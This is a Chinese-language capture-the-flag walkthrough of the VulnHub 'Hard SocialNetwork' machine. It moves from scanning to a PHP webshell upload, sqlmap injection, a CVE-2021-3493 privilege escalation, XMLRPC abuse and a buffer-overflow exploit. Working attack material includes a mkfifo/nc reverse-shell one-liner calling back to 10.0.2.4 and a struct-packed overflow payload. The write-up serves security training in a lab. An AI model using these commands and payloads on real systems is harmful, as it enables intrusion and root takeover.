打靶-HardSocialNetwork
0x00 准备工作
靶机地址: https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova
难度等级: 高
打靶目标: 取得 root 权限
涉及攻击方法:
主机发现
端口扫描
SQL注入
文件上传
CVE-2021-3493
XMLRPC
逆向工程
动态调试
缓冲区溢出
漏洞利用代码编写
0x01 信息搜集
对靶机端口进行扫描。
访问8000端口时会发现501报错,提示不支持GET请求,用拓展修改请求方式,依旧报错。
看看80端口,发现登录需要用邮件的格式。
简单注册一个用户。
在后台能发现一个疑似管理员的账户,他描述说在系统上运行了有monitor.py。
0x02 GetShell
发现这个地方可以传文件,试下php一句话木马。
直接传上去了,没有任何过滤,那就上蚁剑连接!成功拿到了www-data的权限。
翻一下目录,database文件夹很可疑,进去后看到两个sql文件,当前用户运行不了mysql。
把这两个文件下载到本地分析,发现了数据库的部分信息,但没什么用。
结合
怀疑存在sql注入,测试后成功验证,上sqlmap一把梭。
bp抓包后,另存为文件r
运行sqlmap -r r -p id
,接着往下爆破得到管理员的账号密码。
但登录admin未发现有价值的信息,这时查看系统内核版本和操作系统版本。
0x03 提升权限
在github上找到CVE-2021-3493的exphttps://github.com/briskets/CVE-2021-3493,上传后运行。
发现提权是成功的,但因为蚁剑的原因自动退出了,这时试着用nc尝试,但nc上不支持-e参数。一种新的反弹shell方式rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.0.2.4 3333 >/tmp/f
再通过python -c "import pty; pty.spawn('/bin/bash')"
实现交互式命令行。
再运行exploit文件,提权成功。
0x04 另一种提权方法
继续搜集信息,查看到socnet的可疑用户,跳到他的目录下,发现存在monitor.py文件。
查看下进程
查看源代码如下:
|
|
XMLRPCServer的官方说明在https://docs.python.org/zh-cn/3/library/xmlrpc.html,可以知道服务端是需要通过XMLRPC的方式来请求。这里在本地构造客户端,用cpu函数进行测试。
能够成功执行。
进一步修改代码,爆破passcode。
修改命令,反弹shell。
成功拿到权限。
查看当前目录下的文件,发现有文件存在root权限,然后文件类型为elf。
运行文件,依次输入字符串,运行结束后产生新文件,查看内容。共有姓名、工作年限、工资、是否遇到困难、抱怨5处入口点。
靶机存在peda,而它是gdb的插件,运行gdb -q ./add_record
来加载add_record。输入r运行程序。
用python3 -c "print('A'*500)"
生成一系列的A,测试是否存在缓冲区溢出,发现Explain有问题。
EIP存放的是下一条要执行的指令地址,所以要计算出第几个字符被填充到EIP。使用pattern create 100
命令生成100个特征字符串。
输入后使用pattern search
找到字符串的位置,可以发现63的位置就是EIP,只要将EIP的下一条地址指向shell命令所在的内存地址,就能提权成功。
使用disas main
命令,查看main函数的汇编代码,发现了vuln的可疑函数。
使用info func
,查看当前程序使用的函数,发现了异常的函数。
disas vuln
查看具体执行了哪些指令,其中strcpy
函数可能会产生缓冲区溢出。
disas backdoor
查看具体执行了哪些指令,函数调用了setuid
和system
函数,尝试执行操作系统的指令。或许可以通过执行backdoor函数达到提权的目的。
按q退出后,通过python脚本把起始地址0x08048676
,写进EIP寄存器。
python -c "import struct;print('1\n1\n1\n1\n' + 'A' * 62 + struct.pack('I', 0x08048676))" > payload
最后执行cat payload - | ./add_record
,成功提升权限!